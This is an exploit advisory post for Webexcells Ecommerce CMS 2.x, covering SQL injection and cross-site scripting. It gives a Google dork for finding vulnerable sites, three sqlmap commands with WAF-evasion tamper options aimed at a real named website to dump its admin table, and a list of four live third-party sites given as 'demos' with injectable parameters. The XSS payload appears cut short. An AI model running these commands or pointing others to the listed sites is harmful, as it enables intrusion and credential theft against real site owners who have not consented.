

Webexcells Ecommerce CMS 2.x SQL Injection / Cross Site Scripting

2020.03.29

Credit: [thelastvvv \(https://cxsecurity.com/author/thelastvvv/1/\)](https://cxsecurity.com/author/thelastvvv/1/)

Risk: **Medium**

Local: **No**

Remote: **Yes**

CVE: **N/A**

CWE: **CWE-89 (https://cxsecurity.com/cwe/CWE-89)**
CWE-79 (https://cxsecurity.com/cwe/CWE-79)

Dork: (See Dorks List) `intext:intext:" By WEB EXCELS "+inurl:"?Id="`
(https://cxsecurity.com/dorks/)

```
# Exploit Title: Webexcells Ecommerce CMS SQL Injection & XSS Vulnerability
# Google Dork: intext:intext:" By WEB EXCELS "+inurl:"?Id="
# Date: 2020-03-27
# Exploit Author: @TheLastVvV
# Vendor Homepage: https://www.webexcells.com/
# Version: 2.x 2017,2018,2019,2020
# Tested on: Ubuntu
```

PoC 1:

The attacker once locate the sql vulnerability can perform an automated process to exploit the security in the webapp , in this case using sqlmap in 2 steps only

*Note: once you get the db name you can skip the other steps and directly get "tbl_admin" data (you can use command 1 and 3 ..below)

Payload(s)

`http://www.site.com/content.php?Id=[]'[SQL INJECTION VULNERABILITY!]`

SQLMAP Payload(s):

```
sqlmap -u http://www.preceptorsports.com/content.php?Id=23 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs
```

```
sqlmap -u http://www.preceptorsports.com/content.php?Id=23 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" -D precepto_web --tables
```

```
sqlmap -u http://www.preceptorsports.com/content.php?Id=23 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dump -D precepto_web -T tbl_admin
```

PoC 2 :

XSS Vulnerability

Payload(s) :

In Search box use payload:

`www.anysite.com/search.php?tsearch="`

Demos:

```
http://www.preceptorsports.com/content.php?Id=23'
http://www.safety-town.com/content.php?Id=50'
http://www.rehanasportspark.co.uk/content.php?Id=46'
http://www.leatherhitz.com/content.php?Id=50'
```

Greetings:
indoushka

See this note in RAW Version (<https://cxsecurity.com/ascii/WLB-2020030174>)

T₁

Lul

Vote for this issue:  0  0

50%

50%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)